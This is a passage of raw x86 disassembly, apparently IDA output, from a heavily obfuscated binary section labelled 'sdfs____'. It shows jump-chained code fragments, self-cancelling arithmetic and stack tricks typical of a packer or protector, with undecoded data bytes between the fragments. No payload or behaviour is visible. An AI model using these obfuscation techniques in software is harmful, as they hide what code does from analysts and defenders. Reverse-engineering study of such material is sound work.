		mov	edi, ebp
		pop	ebp
		add	ecx, 70C87003h
		add	ecx, edi
		sub	ecx, 70C87003h
		jmp	loc_59DE6B
; ---------------------------------------------------------------------------


loc_5A5393:				; CODE XREF: sdfs____:0059C209j
		jge	loc_5AD888
		add	edi, 0F8491D10h
		dec	edi
		mov	al, ch
		mov	dh, ch


loc_5A53A4:				; CODE XREF: sdfs____:005A05E9j
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 51281642h
		sub	dword ptr [esp+4], 577567E9h
		jmp	loc_5A25CE
; ---------------------------------------------------------------------------


loc_5A53BD:				; CODE XREF: sdfs____:00599821j
		jmp	loc_59BE44
; ---------------------------------------------------------------------------


loc_5A53C2:				; CODE XREF: sdfs____:005A99A8j
		mov	eax, 4
		sub	edi, 4D9826C9h
		add	edi, eax
		add	edi, 4D9826C9h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AC978
; ---------------------------------------------------------------------------


loc_5A53E3:				; CODE XREF: sdfs____:005A08CEj
		pop	eax
		jmp	loc_5AC397
; ---------------------------------------------------------------------------


loc_5A53E9:				; CODE XREF: sdfs____:005AA1BBj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	edi, 8
		push	ebp
		jmp	loc_5B01CB
; ---------------------------------------------------------------------------
		dd 7825C281h, 0E95D59B3h, 0FFFF5502h
; ---------------------------------------------------------------------------


loc_5A5410:				; CODE XREF: sdfs____:005AF18Aj
		mov	dl, al
		mov	bh, dl
		pop	edx
		push	1116h
		mov	[esp], edx
		push	5F3Ch
		mov	[esp], eax
		jmp	loc_59BA0C
; ---------------------------------------------------------------------------


loc_5A542A:				; CODE XREF: sdfs____:005AE9E7j
		mov	eax, 0AEE1E60h
		add	ebx, eax
		jmp	loc_5A64A7
; ---------------------------------------------------------------------------


loc_5A5436:				; CODE XREF: sdfs____:005B039Cj
		pop	esi
		jmp	loc_5A561F
; ---------------------------------------------------------------------------


loc_5A543C:				; CODE XREF: sdfs____:005ACF35j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	0A70h
		mov	[esp], edi
		push	294E1300h
		push	dword ptr [esp]
		jmp	loc_59D254
; ---------------------------------------------------------------------------
		db 0F7h
		dd 94E181D9h, 81345026h, 3648BAC9h, 56C1814Fh, 1B4682Fh
		dd 0EA2159CDh, 9BEA815Dh, 81FF4484h, 0A5518BEAh, 0AFBAE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A549E:				; CODE XREF: sdfs____:0059D4E5j
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_5A47E0
; ---------------------------------------------------------------------------


loc_5A54AD:				; CODE XREF: sdfs____:005A18C0j
		push	605h
		mov	[esp], edi
		jmp	loc_59F39C
; ---------------------------------------------------------------------------


loc_5A54BA:				; CODE XREF: sdfs____:0059C0F8j
		push	ebx
		push	ebp
		push	59F419FEh
		mov	ebp, [esp]
		jmp	loc_59C1BF
; ---------------------------------------------------------------------------
byte_5A54C9	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598FD0o
		dd 5F545724h, 81E18951h, 4C1h, 4E98100h, 0E9000000h, 0FFFF6248h
; ---------------------------------------------------------------------------


loc_5A54E4:				; CODE XREF: sdfs____:005AA25Aj
		xor	ecx, [esp]
		pop	esp
		sub	dword ptr [esp], 28EB0D09h
		sub	dword ptr [esp], 518A20BFh
		jmp	loc_59E976
; ---------------------------------------------------------------------------


loc_5A54FB:				; CODE XREF: sdfs____:005A2208j
		mov	[esp], edi
		push	688Dh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59A3C0
; ---------------------------------------------------------------------------


loc_5A5510:				; CODE XREF: sdfs____:0059C6FFj
		add	al, 0F2h
		pop	ebx
		jmp	loc_5A05EE
; ---------------------------------------------------------------------------


loc_5A5518:				; CODE XREF: sdfs____:005AB857j
		pop	esi
		mov	ebx, ebp
		jmp	loc_59D61E
; ---------------------------------------------------------------------------


loc_5A5520:				; CODE XREF: sdfs____:005A2AADj
		sub	ebx, 13F320D9h
		jmp	loc_5AB877
; ---------------------------------------------------------------------------


loc_5A552B:				; CODE XREF: sdfs____:005A56D2j
		or	cl, 76h
		jmp	loc_59DFA6
; ---------------------------------------------------------------------------
		dd offset byte_42E262+6
		align 4
		dd 81242489h, 42404h, 5580000h,	4, 405h, 24048700h, 5524248Bh
		dd 4BF57h, 0FD890000h, 52243C8Bh, 81E9E289h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5567:				; CODE XREF: sdfs____:0059BEF7j
		pop	ecx
		dec	eax
		jmp	loc_59BFC7
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0AD1DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5576:				; CODE XREF: sdfs____:005A92EAj
					; sdfs____:005AB8FDj
		add	esp, 4
		pop	eax
		sub	ecx, 6C5F12EAh
		add	ecx, 1A096262h
		add	ecx, esi
		jmp	loc_59D995
; ---------------------------------------------------------------------------


loc_5A558D:				; CODE XREF: sdfs____:0059A4A4j
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_59C63E
; ---------------------------------------------------------------------------


loc_5A5598:				; CODE XREF: sdfs____:005AAB2Ej
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		push	edx
		mov	dh, ah
		mov	ch, dh
		pop	edx
		pop	eax
		mov	[edi+eax*4+1], ch
		push	dword ptr [esp]
		jmp	loc_5A0A8E
; ---------------------------------------------------------------------------


loc_5A55B2:				; CODE XREF: sdfs____:0059EACAj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_5A1B91
; ---------------------------------------------------------------------------


loc_5A55D1:				; CODE XREF: sdfs____:0059AB8Aj
		inc	esi
		jo	loc_59B470
		add	esi, 294257EAh
		jmp	loc_5A7701
; ---------------------------------------------------------------------------


loc_5A55E3:				; CODE XREF: sdfs____:0059F574j
		sub	ecx, 17B7615Ah
		add	ecx, 34D33F4Fh
		sub	ebx, ecx
		pop	ecx
		push	2878h
		jmp	loc_5A0EA3
; ---------------------------------------------------------------------------


loc_5A55FC:				; CODE XREF: sdfs____:loc_5A4BB2j
		inc	eax
		xor	eax, 8945C9BCh
		jmp	loc_59F253
; ---------------------------------------------------------------------------


loc_5A5607:				; CODE XREF: sdfs____:005A98AAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9570
; ---------------------------------------------------------------------------


loc_5A561F:				; CODE XREF: sdfs____:005A5437j
		or	ecx, 26B9520Ch
		not	ecx
		jmp	loc_5A60CC
; ---------------------------------------------------------------------------


loc_5A562C:				; CODE XREF: sdfs____:0059D5A1j
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5A7AD9
; ---------------------------------------------------------------------------


loc_5A5638:				; CODE XREF: sdfs____:loc_59BC20j
		add	esi, 0C8FAF6D0h
		mov	ecx, esi
		pop	esi
		sub	ecx, ebx
		jmp	loc_59BFD6
; ---------------------------------------------------------------------------


loc_5A5648:				; CODE XREF: sdfs____:0059C335j
					; DATA XREF: sdfs____:00598EE8o
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_59EE34
; ---------------------------------------------------------------------------


loc_5A5654:				; CODE XREF: sdfs____:005AF3E0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 0E924348Bh, 1A93h, 0E9240489h, 37F6h
; ---------------------------------------------------------------------------


loc_5A5674:				; CODE XREF: sdfs____:0059E913j
		xchg	edi, [edx+38h]
		xchg	esi, edi
		jmp	loc_59A972
; ---------------------------------------------------------------------------


loc_5A567E:				; CODE XREF: sdfs____:005AA0A9j
		sub	ecx, 13655D14h
		not	ecx
		jmp	loc_5AFB60
; ---------------------------------------------------------------------------
		db 81h
		dd 482F1EF2h, 0E9D10101h, 0FFFFA50Eh
; ---------------------------------------------------------------------------


loc_5A5698:				; CODE XREF: sdfs____:005A4974j
		add	esp, 4
		or	edx, eax
		jmp	loc_59D78D
; ---------------------------------------------------------------------------


loc_5A56A2:				; CODE XREF: sdfs____:0059B068j
		sub	ecx, 13655D14h
		jmp	loc_5A8C50
; ---------------------------------------------------------------------------


loc_5A56AD:				; CODE XREF: sdfs____:005AD965j
		pop	edx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 7FEE7D7Ch
		jmp	loc_5A6336
; ---------------------------------------------------------------------------


loc_5A56BC:				; CODE XREF: sdfs____:loc_5ADBC6j
		xor	ebx, 3E784777h
		mov	edi, ebx
		jmp	loc_5A8230
; ---------------------------------------------------------------------------


loc_5A56C9:				; CODE XREF: sdfs____:005AD530j
		jz	loc_5AD069
		add	cl, 0B6h
		jno	loc_5A552B
		or	cl, 76h
		jmp	loc_5A712A
; ---------------------------------------------------------------------------
		dd offset byte_42E262+6
		db 0, 5Dh
; ---------------------------------------------------------------------------


loc_5A56E6:				; CODE XREF: sdfs____:005A8FD3j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_59C6BF
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A82D3
; ---------------------------------------------------------------------------


loc_5A5735:				; CODE XREF: sdfs____:005ACC60j
					; DATA XREF: sdfs____:00598FE0o
		mov	cx, [esp]
		push	75B2h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5A188D
; ---------------------------------------------------------------------------


loc_5A5748:				; CODE XREF: sdfs____:0059FAA2j
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		push	edx
		jmp	loc_5A3073
; ---------------------------------------------------------------------------


loc_5A5757:				; CODE XREF: sdfs____:005A5982j
		and	ebx, esi
		jmp	loc_59A7DF
; ---------------------------------------------------------------------------
		dw 5B59h
		dd 0C8BC801h, 4C48324h,	81E78957h, 4C7h, 4EF8100h, 0E9000000h
		dd 0B34h, 8CE95655h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5783:				; CODE XREF: sdfs____:005A737Cj
		sub	ebx, 404376D3h
		push	edi
		mov	edi, 521A7445h
		dec	edi
		or	edi, 673C2342h
		and	edi, 5A956DE1h
		sub	edi, 0D355617Eh
		sub	ebx, edi
		pop	edi
		jmp	loc_59F10B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0C386E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A57B2:				; CODE XREF: sdfs____:005998D3j
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5A8E3E
; ---------------------------------------------------------------------------


loc_5A57BC:				; CODE XREF: sdfs____:0059BFC2j
		xchg	ebx, [esp]
		jmp	loc_5AADE9
; ---------------------------------------------------------------------------


loc_5A57C4:				; CODE XREF: sdfs____:005A532Bj
		add	esi, 732A125Bh
		pop	edi
		push	27A9h
		mov	[esp], eax
		mov	eax, 315A7F64h
		neg	eax
		push	ebp
		jmp	loc_5A66F2
; ---------------------------------------------------------------------------


loc_5A57E0:				; CODE XREF: sdfs____:0059A453j
		xor	ebp, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A57F2:				; CODE XREF: sdfs____:005AB2ECj
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		push	36A7h
		mov	[esp], ebp
		jmp	loc_59E77C
; ---------------------------------------------------------------------------


loc_5A580F:				; CODE XREF: sdfs____:00599C02j
		sub	esp, 4
		jmp	loc_5ABA43
; ---------------------------------------------------------------------------
aZszy		db 'Zé‡y',0
		dd 0E9530400h, 0FFFFF975h
; ---------------------------------------------------------------------------


loc_5A5824:				; CODE XREF: sdfs____:0059965Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	45EBh
		mov	[esp], eax
		push	601Ch
		mov	[esp], ebp
		mov	ebp, 5EFE70A3h
		push	5B957D7Ch
		pop	eax
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59FCC0
; ---------------------------------------------------------------------------
word_5A585A	dw 8B66h		; DATA XREF: sdfs____:00599028o
		dd 0EC812404h, 4, 83240489h, 8F5404ECh,	4812404h, 424h
		dd 2434FF00h, 0FFD820E9h, 0E9C828FFh, 1C52h
; ---------------------------------------------------------------------------


loc_5A5884:				; CODE XREF: sdfs____:0059F019j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AD751
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 0E9D00100h, 7422h
; ---------------------------------------------------------------------------


loc_5A58B4:				; CODE XREF: sdfs____:0059CBE2j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_59A809
; ---------------------------------------------------------------------------


loc_5A58CF:				; CODE XREF: sdfs____:005ACBCAj
					; sdfs____:005AFCB6j
		mov	bh, 0E1h
		push	ebx
		mov	bl, 9Ch
		add	ch, bl
		pop	ebx
		sub	ch, bh
		sub	ch, 9Ch
		pop	bx
		jmp	loc_5A0E3C
; ---------------------------------------------------------------------------


loc_5A58E3:				; CODE XREF: sdfs____:005AAE1Aj
		add	ebx, eax
		push	ebp
		push	eax
		push	6E485C2Ah
		jmp	loc_5A45E6
; ---------------------------------------------------------------------------


loc_5A58F1:				; CODE XREF: sdfs____:005ABC49j
		pop	eax
		add	esp, 4
		neg	ebp
		jmp	loc_5A0CE1
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 0AAC4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A590A:				; CODE XREF: sdfs____:005A00C2j
		push	esp
		pop	esi
		jmp	loc_5B0145
; ---------------------------------------------------------------------------


loc_5A5911:				; CODE XREF: sdfs____:005A34B8j
		mov	edx, 0D16D7414h
		xor	eax, edx
		jmp	loc_5A5998
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 2D04C483h, 35E807CBh, 316D362Dh, 5D0011Ah, 1A316D36h
		dd 0E807CB05h, 0B0685A35h, 0E9000057h, 24AEh
; ---------------------------------------------------------------------------


loc_5A5944:				; CODE XREF: sdfs____:005ACF72j
		push	0
		mov	ecx, [esp]
		push	5B38h
		jmp	loc_599F5B
; ---------------------------------------------------------------------------


loc_5A5956:				; CODE XREF: sdfs____:0059A3F4j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A4175
; ---------------------------------------------------------------------------
dword_5A5968	dd 0A0E9028Fh			db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A596F:				; CODE XREF: sdfs____:005AA86Bj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59AB4E
; ---------------------------------------------------------------------------


loc_5A597F:				; CODE XREF: sdfs____:005A3AAFj
		xor	esi, edi
		pop	edi
		jmp	loc_5A5757
; ---------------------------------------------------------------------------


loc_5A5987:				; CODE XREF: sdfs____:005A33AAj
		add	bh, 0CFh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AF917
; ---------------------------------------------------------------------------


loc_5A5998:				; CODE XREF: sdfs____:005A5918j
		pop	edx
		mov	ebx, eax
		pop	eax
		push	edi
		mov	edi, 2E35306h
		sub	eax, edi
		jmp	loc_5AC030
; ---------------------------------------------------------------------------
byte_5A59A9	db 0FFh, 77h, 1Ch	; DATA XREF: sdfs____:00598EA0o
		dd 1858669Dh, 0E99C2404h, 0FFFF3757h
; ---------------------------------------------------------------------------


loc_5A59B8:				; CODE XREF: sdfs____:0059F45Ej
		mov	edx, esp
		push	ecx
		jmp	loc_59B5CD
; ---------------------------------------------------------------------------
		dd 24048159h, 0E5862A9h, 81240429h, 62A9242Ch, 13680E58h
		dd 89000062h, 79E9240Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A59DF:				; CODE XREF: sdfs____:0059BF5Ej
		add	eax, 0FDBEDE71h
		jmp	loc_5A77D5
; ---------------------------------------------------------------------------


loc_5A59E9:				; CODE XREF: sdfs____:0059AB27j
		push	ecx
		jmp	loc_5A7BFB
; ---------------------------------------------------------------------------


loc_5A59EF:				; CODE XREF: sdfs____:005ADA91j
		pop	bx
		xor	dh, cl
		pop	cx
		add	cl, 32h
		add	cl, 17h
		add	cl, 5Ch
		sub	cl, dh
		sub	cl, 5Ch
		sub	cl, 17h
		sub	cl, 32h
		jmp	loc_5A44A2
; ---------------------------------------------------------------------------


loc_5A5A0E:				; CODE XREF: sdfs____:005A9F42j
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A33C9
; ---------------------------------------------------------------------------


loc_5A5A2C:				; CODE XREF: sdfs____:005A8417j
		mov	edi, 3EF93CA3h
		sub	edi, 7600668Eh
		sub	edi, 6B4C6A99h
		sub	ebx, edi
		pop	edi
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 7AB514DBh
		push	ecx
		mov	ecx, 631E0053h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A0E0A
; ---------------------------------------------------------------------------


loc_5A5A6A:				; CODE XREF: sdfs____:005A0296j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A0DBA
; ---------------------------------------------------------------------------


loc_5A5A78:				; CODE XREF: sdfs____:005AD94Aj
		mov	dh, ah
		pop	eax
		add	al, 34h
		jmp	$+5


loc_5A5A82:				; CODE XREF: sdfs____:005AB6C0j
		push	edx
		mov	dl, 85h
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 43h
		push	dx
		mov	dh, 0DEh
		jmp	loc_59E655
; ---------------------------------------------------------------------------


loc_5A5A9C:				; CODE XREF: sdfs____:005A7EA0j
					; sdfs____:005A9B03j
		sub	esi, 4BA5261Fh
		add	esi, 72CF5F7Eh
		mov	ebp, esi
		jmp	loc_5A0D38
; ---------------------------------------------------------------------------


loc_5A5AAF:				; CODE XREF: sdfs____:005AF65Cj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5ADAFE
; ---------------------------------------------------------------------------


loc_5A5ACD:				; CODE XREF: sdfs____:005ABEADj
		mov	ebx, 800h
		and	eax, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	734h
		mov	[esp], eax
		mov	eax, 32F65EA3h
		jmp	loc_59E789
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 5BDE88FDh, 0F6F4B050h, 8E8C0D0h, 0C6289634h,	0FF4C29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5B09:				; CODE XREF: sdfs____:005A7A07j
		add	ebx, edi
		pop	edi
		sub	ebx, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 18DD237Ah
		add	ebx, 65213C2Eh
		jmp	loc_59920A
; ---------------------------------------------------------------------------
byte_5A5B27	db 66h			; DATA XREF: sdfs____:00598ED8o
		dd 6824048Bh, 618h, 68241C89h, 499Eh, 81242489h, 42404h
		dd 565B0000h, 0FFEB7EE9h, 2E8C1FFh, 63558B0Fh, 1368FFFFh
		dd 0E9000069h, 0B35h
; ---------------------------------------------------------------------------


loc_5A5B5C:				; CODE XREF: sdfs____:005A92A2j
		add	esi, 10012552h
		jnp	loc_59EA54
		add	esi, 0EFFF1F57h
		mov	ecx, esi
		mov	ecx, edi
		sub	eax, 66430FD8h
		jo	loc_5AD8BD
		add	eax, 1EA50D8Bh
		shr	eax, 5
		neg	eax
		jmp	loc_5A095C
; ---------------------------------------------------------------------------


loc_5A5B8C:				; CODE XREF: sdfs____:005A1331j
		mov	edi, 19AA474Dh
		sub	[esp+4], edi
		pop	edi
		jmp	loc_59AD19
; ---------------------------------------------------------------------------
		db 0BBh
		dd 587D51C4h, 1C8BDF01h, 4C48324h, 9E3CF781h, 0F801E985h
		dd 58C7015Fh, 0FF3721E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5BB9:				; CODE XREF: sdfs____:005AE86Fj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	eax, ebp
		pop	ebp
		push	40C1h
		mov	[esp], ebp
		mov	ebp, 430738D5h
		push	ecx
		mov	ecx, 112F00ADh
		and	ecx, 6053459Bh
		sub	ecx, 4A3C5EC7h
		and	ecx, 631C1BC1h
		sub	ecx, 0C69CFA8Dh
		add	ebp, ecx
		jmp	loc_59B365
; ---------------------------------------------------------------------------


loc_5A5BF7:				; CODE XREF: sdfs____:00599538j
		push	eax
		mov	eax, 3C5A4B20h
		jmp	loc_59E01B
; ---------------------------------------------------------------------------


loc_5A5C02:				; CODE XREF: sdfs____:005AF217j
		push	edi
		push	7113156Ch
		pop	edi
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 7A4C5DBBh
		push	ecx
		mov	ecx, 4CAE2A18h
		add	ebx, ecx
		jmp	loc_5A6937
; ---------------------------------------------------------------------------


loc_5A5C24:				; CODE XREF: sdfs____:005A8032j
		mov	[esp], ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A5C2C:				; CODE XREF: sdfs____:005A430Cj
		mov	esp, [esp]
		div	cx
		push	25A2h
		mov	[esp], ebp
		push	2994h
		jmp	loc_59C30D
; ---------------------------------------------------------------------------


loc_5A5C44:				; CODE XREF: sdfs____:00599D97j
		push	ecx
		mov	ecx, 13E63406h
		dec	ecx
		xor	ecx, 2310848h
		add	ecx, 3C2C7AF9h
		add	ecx, 63021BC8h
		add	ecx, 500584C5h
		mov	ebx, ecx
		jmp	loc_5A01F6
; ---------------------------------------------------------------------------


loc_5A5C6A:				; CODE XREF: sdfs____:0059B825j
		jmp	loc_5AEC41
; ---------------------------------------------------------------------------


loc_5A5C6F:				; CODE XREF: sdfs____:005AD4F4j
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 4
		inc	esi
		jmp	loc_5A3686
; ---------------------------------------------------------------------------


loc_5A5C87:				; CODE XREF: sdfs____:005A8E50j
		add	esp, 4
		shr	edi, 1
		jmp	loc_5A2915
; ---------------------------------------------------------------------------


loc_5A5C94:				; CODE XREF: sdfs____:0059F7E3j
		mov	[esp], edi
		mov	edi, 5FDE6559h
		add	dword ptr [esp+4], 10F64236h
		add	[esp+4], edi
		jmp	loc_5A5146
; ---------------------------------------------------------------------------


loc_5A5CAD:				; CODE XREF: sdfs____:005A3FF9j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A67EE
; ---------------------------------------------------------------------------


loc_5A5CBF:				; CODE XREF: sdfs____:0059CCFCj
					; sdfs____:005A6331j
		sub	edi, 4
		sub	esp, 4
		jmp	loc_5AC8E7
; ---------------------------------------------------------------------------


loc_5A5CD0:				; CODE XREF: sdfs____:005A18A2j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	edx
		push	4
		pop	edx
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59C246
; ---------------------------------------------------------------------------


loc_5A5CF7:				; CODE XREF: sdfs____:005ADCABj
		add	eax, 12E47A7h
		push	edx
		mov	edx, 38A51C5Fh
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 1
		dec	eax
		jmp	loc_59D25A
; ---------------------------------------------------------------------------


loc_5A5D15:				; CODE XREF: sdfs____:005AAD38j
		dec	esi
		inc	esi
		shl	esi, 8
		add	esi, 0CB1ED122h
		sub	edi, esi
		pop	esi
		sub	edi, 7B8877B7h
		add	edi, ebx
		add	edi, 7B8877B7h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 569D0E22h
		add	edi, ecx
		pop	ecx
		add	edi, 679D16B5h
		jmp	loc_5AED35
; ---------------------------------------------------------------------------
		dw 8759h
		dd 248B241Ch, 74FF5124h, 8F590424h, 835C2404h, 815104C4h
		dd 4ECh, 24248900h, 0FF9E67E9h,	8034B7FFh, 0C7FE44EFh
		dd 3A938E0Fh, 0C780FFFFh, 5BFC88EDh, 8A59CC30h
		db 0FFh, 89h, 0D9h
; ---------------------------------------------------------------------------


loc_5A5D87:				; CODE XREF: sdfs____:005AF43Fj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59C7A6
; ---------------------------------------------------------------------------


loc_5A5D9E:				; CODE XREF: sdfs____:0059CB4Bj
		and	ebp, 3DE34C43h
		shl	ebp, 8
		and	ebp, 48A31E6Dh
		push	ecx
		mov	ecx, 27746F2Dh
		add	ecx, 59CA47D4h
		shr	ecx, 7
		neg	ecx
		jmp	loc_5AC369
; ---------------------------------------------------------------------------


loc_5A5DC3:				; CODE XREF: sdfs____:005998E5j
		push	ecx
		mov	ecx, 53082E36h
		shl	ecx, 2
		jmp	loc_5AA82F
; ---------------------------------------------------------------------------


loc_5A5DD1:				; CODE XREF: sdfs____:005AD0ECj
		jz	loc_5A678B
		sub	dl, 0CDh
		add	dl, 56h
		push	dx
		mov	dl, 1Fh
		sub	al, dl
		jmp	loc_5AE46C
; ---------------------------------------------------------------------------


loc_5A5DE8:				; CODE XREF: sdfs____:005A7C55j
		mov	dx, [esp]
		push	5E4Ah
		mov	[esp], edx
		push	esp
		pop	edx
		push	357Ch
		mov	[esp], ecx
		mov	ecx, 5676EA5h
		sub	ecx, 6E9D6838h
		jmp	loc_59ECCB
; ---------------------------------------------------------------------------
aSjx		db '!Õéj•',0
		db 0
; ---------------------------------------------------------------------------


loc_5A5E15:				; CODE XREF: sdfs____:loc_59D4B9j
		jmp	loc_59CC3B
; ---------------------------------------------------------------------------
		dw 8768h
		dd 89000014h, 0CE92404h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5E27:				; CODE XREF: sdfs____:0059E194j
		push	edx
		mov	edx, 3CF16138h
		shr	edx, 1
		or	edx, 386D4DD5h
		jmp	loc_5A4901
; ---------------------------------------------------------------------------
		dw 0D529h
		dd 0FF895FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5E41:				; CODE XREF: sdfs____:005AEC2Fj
		mov	bh, 0B6h
		mov	ah, bh
		pop	ebx
		and	ah, 0D2h
		shr	ah, 2
		xor	ah, 9
		shr	ah, 3
		inc	ah
		add	ah, 87h
		mov	dh, ah
		pop	eax
		inc	dh
		jmp	loc_5A9661
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 83D0h
; ---------------------------------------------------------------------------


loc_5A5E6C:				; CODE XREF: sdfs____:0059DFA1j
		push	4F94h
		jmp	loc_5A772A
; ---------------------------------------------------------------------------


loc_5A5E76:				; CODE XREF: sdfs____:005A80DDj
		mov	edx, 2427719Bh
		sub	edx, 1A233D75h
		push	edx
		not	dword ptr [esp]
		pop	edx
		shl	edx, 5
		add	edx, 1
		sub	edx, 5291A36h
		add	ebp, edx
		jmp	loc_5ACA71
; ---------------------------------------------------------------------------


loc_5A5E9C:				; CODE XREF: sdfs____:0059A012j
		pop	ebx
		jmp	loc_5A46F9
; ---------------------------------------------------------------------------


loc_5A5EA2:				; CODE XREF: sdfs____:loc_5AC461j
		xor	ch, 0B2h
		jnp	loc_5AFF33
		add	ch, 66h
		jmp	loc_59EC18
; ---------------------------------------------------------------------------
		db 8Bh
		db 1Ch,	24h
; ---------------------------------------------------------------------------


loc_5A5EB6:				; CODE XREF: sdfs____:005A992Dj
		neg	edx
		jnz	loc_5A3EDA
		and	edx, 215A5A8Eh
		jmp	loc_5A6AD8
; ---------------------------------------------------------------------------


loc_5A5EC9:				; CODE XREF: sdfs____:005A2BC7j
		xor	ecx, edi
		pop	edi
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_5AB082
; ---------------------------------------------------------------------------


loc_5A5EDE:				; CODE XREF: sdfs____:005A130Aj
		add	esi, 4606C15Bh
		mov	ebx, esi
		pop	esi
		add	ebx, eax
		mov	ecx, [ebx]
		pop	ebx
		pop	eax
		push	edi
		push	edi
		jmp	loc_5A139A
; ---------------------------------------------------------------------------


loc_5A5EF4:				; CODE XREF: sdfs____:0059C4ABj
		add	esi, 4
		jmp	loc_5AE70E
; ---------------------------------------------------------------------------


loc_5A5EFF:				; CODE XREF: sdfs____:005A6569j
		sub	esp, 4
		mov	[esp], esp
